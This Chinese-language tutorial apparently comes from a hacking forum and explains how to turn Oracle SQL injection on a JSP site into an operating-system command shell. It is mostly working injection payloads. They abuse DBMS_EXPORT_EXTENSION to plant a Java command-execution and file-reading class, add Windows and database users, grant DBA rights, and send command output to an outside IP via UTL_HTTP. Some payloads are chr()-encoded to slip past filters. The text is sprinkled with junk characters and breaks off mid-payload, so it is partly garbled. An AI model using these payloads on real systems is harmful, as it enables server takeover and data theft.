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8 A4 G0 l" [, v1 ^# v1 h: e+ [介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。2 T' R; W2 M2 A0 j+ z, _* Z
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成# p" t8 [, s% F! E
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
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的形式即可。(用" 'a'|| "是为了让语句返回true值)3 C1 Z& ]4 l; K0 u* k
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语句有点长,可能要用post提交。
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以下是各个步骤:3 g% o; Q9 D2 x6 x
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1.创建包4 M$ y" l/ f0 P k0 {
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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/xxx.jsp?id=1 and '1'<>'a'||(8 @7 m8 j1 M; W( }! G; l
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
9 r' s( \2 F7 t5 G" Z8 Z" H& ^create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(9 a/ N+ m! n, }
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
6 ^8 y# E: k3 V% l# n+ u( g1 |- i' P}'''';END;'';END;--','SYS',0,'1',0) from dual3 \' d* n0 V( G; P; [- O' o- t
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4 _# \2 l5 P1 |, m2 u1 [* @------------------------
7 t- {$ ~4 ^1 S' x如果url有长度限制,可以把readFile()函数块去掉,即:3 G+ k1 W/ s+ d0 A$ V4 P
/xxx.jsp?id=1 and '1'<>'a'||(
3 W* u6 ?7 Q |( K( {
: ?7 X: H& I* d* o4 H( D, [select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 G8 Q" ]% m' W1 _9 P" i8 y2 Z# l: dcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
/ A: t; |5 K3 n; qnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}1 `* M# b9 F1 m0 V) f' a/ j4 T
}'''';END;'';END;--','SYS',0,'1',0) from dual
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* f- r* r7 V+ f4 r同时把后面步骤 提到的 对readFile()的处理语句去掉。1 V+ h! p( ~7 n) F, ~
------------------------------* c: d4 w& P9 Q+ @3 R
! o6 t& X. f8 r% o5 o2 e9 T" S' C: l2.赋Java权限- ?+ q: c4 j+ E. T, Z
5 _! Z$ }# X0 x9 j Aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
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2 H F8 n @: E+ t* k1 ~$ x& E3.创建函数
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 [. Q8 h3 X1 S5 w Lcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual' C+ L# t4 d" K6 `8 U3 R
1 C2 z+ Y$ y# s( Uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''" I: r5 H* _" K6 M# G6 y2 k
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual, G+ O% T" V; t2 L! y* _( H$ V
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4.赋public执行函数的权限5 P# ^1 l. _$ _0 E/ B
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual+ u+ E( s& ]3 _+ [2 U4 d5 o5 @- q$ b' L
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( k5 i, G5 z. b8 n* ?5.测试上面的几步是否成功; B6 E8 G8 Z8 ^
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and '1'<>'11'||(
6 E" K M2 B1 c' I% iselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
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; x5 {! w: Q& Z! uand '1'<>(, M# a- B# y9 ^4 g$ L
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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6.执行命令:
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/xxx.jsp?id=1 and '1'<>(- `$ I6 j+ [! E0 G9 k
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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/xxx.jsp?id=1 and '1'<>(
B$ b# f( | X; G) Q6 ^select sys.LinxReadFile('c:/boot.ini') from dual P) Y2 y0 u- m) C& s( q+ d
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注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。3 U3 G. U' B* E2 E
如果要查看运行结果可以用 union :
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/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual# O6 D; t4 M5 } n$ U) k
: F' v/ B& e- X$ w: F$ z或者UTL_HTTP.request(:
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/xxx.jsp?id=1 and '1'<>(
8 t: @/ F2 l9 O2 }6 _9 fSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual% t7 n' ~# P9 Z2 u
)
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/xxx.jsp?id=1 and '1'<>(
( r5 E4 M/ n# ]( v: YSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual7 K4 Z' I' {7 ?
)
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# q, R! D+ e3 V1 }& J注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
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--------------------% W, C7 i. n& a, `, T
7 d: F8 ]4 M1 q' ^" X6.内部变化
2 w# G: k1 c$ a; j; `1 d3 {通过以下命令可以查看all_objects表达改变:
: U. u3 E Z* a+ d' rselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
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7.删除我们创建的函数
0 e4 `/ T1 ?8 Bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': O; x1 W" l$ l' H1 d5 C8 }
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual7 H- D2 v, _# Z# E# A; N
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6 \( K9 e9 L$ q0 ?1 W====================================================" m, _7 I1 J+ b) S$ H \
全文结束。谨以此文赠与我的朋友。$ x/ V4 [. K2 J
& J# ?# \% F+ C8 I) r8 P* n' g* v, Elinx
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2008.1.12
0 s# ^2 ~5 ^+ G P$ g) D[email protected]0 I# G$ e3 K( W& S' i# X. n
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======================================================================
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测试漏洞的另一方法:( U/ ^. F' T1 ?7 o, k t
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创建oracle帐号:
w1 Q- t4 Y t) F; O! f( \' _/ ?select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''# g, h; X: ^- m8 }
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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7 a5 r) t; s- F1 x即:
6 O* A; L! b4 \6 h7 Vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
( ?$ L9 v8 O+ P! X, i: [- a/ rchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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确定漏洞存在:) x l0 n# X% X" X* q% a3 h
1<>(
, o2 [) z! r5 h# K& P* d+ [% Qselect user_id from all_users where username='LINXSQL'( R) W; L4 X' g7 ~( q
)
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0 ]' i6 |5 \: f给linxsql连接权限:
- O( H* s! ?: Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
: J7 u2 I9 o' p3 r1 W5 g* aGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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删除帐号:
) M( z# x$ F" \" M$ _( Xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- w6 X* t; b4 p4 M* k5 `drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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======================
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/ ]2 _* O' O( P" Y( k" n以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:% T- G/ ?1 s, q6 n5 Y n0 M
! H1 o2 t- V: r2 W, |1.jsp?id=1 and '1'<>(8 h1 B0 ~# E4 x Z# |, e- x# {
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
9 S& q; l$ ^( L/ ycreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
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1.jsp?id=1 and '1'<>(- i! W9 C- p5 C, ^
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual U) @# ? q5 y, P, }
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6 s& D. {( K2 K6 Y+ X& t2 Y/ TSELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL0 \. f. f3 t! k" |* [3 g8 T
) and ...0 ?$ ?4 s& n% w+ }
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& V- U/ S, q) q" L! A: i1.jsp?id=1 and '1'<>(
3 I6 |/ q8 H- v, A p5 }3 }, H tSELECT sys.Linx_Query('declare pragma
9 m" k6 x" L" n2 lautonomous_transaction; begin execute immediate ''
6 P) z" X0 p/ ] ~3 O4 F7 X; N3 |select 1 from dual
3 y# \$ J& m, Y' O6 V''; commit; end;') from dual
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多语句:
6 u9 Y" A+ }* B9 I4 RSELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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创建用户(除非当前用户有system权限,否则无法成功):4 t* D8 q) k7 E5 m4 |& m
SELECT sys.Linx_Query('declare pragma
! J' @7 W2 D4 N/ Aautonomous_transaction; begin execute immediate ''
; m5 U" N) s+ z% a7 M' i$ }2 TCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
+ K( u6 Y) S" Y& g9 c+ t/ Y''; commit; end;') from dual
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================
- ]3 v# V5 J4 A; o$ P5 P以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()7 s6 y) k' K- ]/ ^! v& ^4 {5 u9 }
9 |/ {% V5 c5 k. O1.创建函数0 z% a: C' N1 z1 Q0 ]4 W+ r
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
' |2 P6 t. p9 _6 u7 dcreate or replace function Linx_Query (p
& e6 A8 V- b! r! uvarchar2) return number authid current_user is begin execute immediate
/ P1 \9 h9 J0 ]# P2 S+ Zp; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;; L9 |! A' _6 o
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如果有权限,以下语句应该允许正常6 X$ m I. K$ P% @" F/ _1 `$ @
select sys.linx_query('select 1 from dual') from dual;, G8 I, E M) O; H) s) D9 i& v
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不然的话运行:
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 D9 E- d5 [) `8 ^5 H4 P6 C7 [grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual9 P) t2 L6 O* o( q4 C" y
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2.创建包- ^% d* F- G/ I1 m
SELECT sys.Linx_Query('declare pragma0 j0 r& l- F! f- I* E1 P
autonomous_transaction; begin execute immediate ''( y: p; J5 A5 R& p7 W- N* W( ?
create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(0 l6 w/ n$ F0 O% @. |' i
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
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s- \ U& ]) x( P/ B ?2 F; l3.创建函数9 {& o* X; w! ^( S2 h4 q
SELECT sys.Linx_Query('declare pragma
5 y2 S9 l" i# d1 z, kautonomous_transaction; begin execute immediate ''
2 h: `8 \1 F5 E9 V0 Y% U3 G( u, r$ Gcreate or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual% J2 c2 h# i# U a6 x' Z" l9 H2 ?
8 D, Y' @- o Y# s; x# }" n7 W
4.给权限& S3 \ g9 d$ \9 Y! ]" L5 e& {
给用户SYSTEM执行权限:
. K1 U% E* Y6 u/ b
8 e% S$ M& \. bSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual. r8 E5 o5 T* T6 ^. j+ ^
( Y! [: j7 X2 A" {
6 N' d! Y& U) Q& X) N3 `5 E) K- V; k( S+ F! Z
5.执行函数; C0 h# s7 G' K
select RunCMD2('cmd /c dir') from dual
2 C9 M5 t. |' c; G: p h
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2 o! V+ l- s/ t" n9 T
1 N) ]: U. g7 j- l" B# Y0 s' L9 w' C* X4 O3 `; A
) h! E+ h" G' S. T6 r$ n
==================; @5 _' T* u4 B3 s0 y
================================
K8 A+ r) z2 C3 n) v# H+ J, J' s, K6 @2 J3 Q9 i- S
以下是无 " ' " 版:3 D) L1 K, ~" r8 d
g* M% z+ H& n# U. H0 D% k
以下是各个步骤:6 Z9 {( F& K% `& }" V U
9 P4 l6 p9 g4 H7 w( ?4 k
1.创建包2 y, k5 u3 A$ p1 n, Z/ f6 y W( ~
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
: T1 |1 G# h5 s) I5 F& G0 L6 `1 g因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
4 q* S* @9 M* `+ M, D. M- E7 ?4 g" \, q
/xxx.jsp?id=1 and chr(49)<>chr(50)||(8 O' I5 u4 B# P8 _! i
2 u/ D. G$ v; }7 r' A1 zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
: h8 \2 z! M: m' u0 x/ `chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||' |2 s6 p, M( w/ R; P
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
$ H. F9 ^7 v6 V# |. echr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
& I; i: Y* O: V4 J4 tchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
! A, ]1 i& h" o: a! {3 gchr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||/ [; C* x2 {' s& ]/ D
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
8 F4 H, ^& i3 |2 Achr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
2 N$ X1 @. D, z' z" Xchr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||" _1 P7 c) a( |- }
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||# R/ q2 Y, J1 L6 E. f7 Q0 h
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||$ R/ _! I1 l1 f
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||4 r8 f) w5 E7 d- P' `
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||9 x$ E2 ^- A8 }, Q" O, r+ n
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
8 [1 w! r7 X7 s% ]6 I' Ichr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||* t0 B6 g# ]; ]. o$ }
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
& x: u5 Y* `! N7 ychr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||' u: z& R( {+ m5 I0 ~( u
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||7 X5 E, [% M7 K& @5 q+ E& a
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||! T8 U1 [' I, ?9 J% x4 s0 X% P/ g
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||0 z* l- A8 @. S0 f+ k+ B9 t/ X
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||; M. T/ Z9 i h1 {; ^/ W
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||3 A. R- o) \& q* ?0 j$ ^
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
% g, q6 ?9 ]; u+ H* c* I( O5 A6 Rchr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
) M' I6 r. {. O% ~0 u8 z0 Jchr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||
) E4 A# G+ ?6 s7 |* z9 G5 y# `4 Hchr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||: S# Q B6 _! D$ h: \5 G/ o
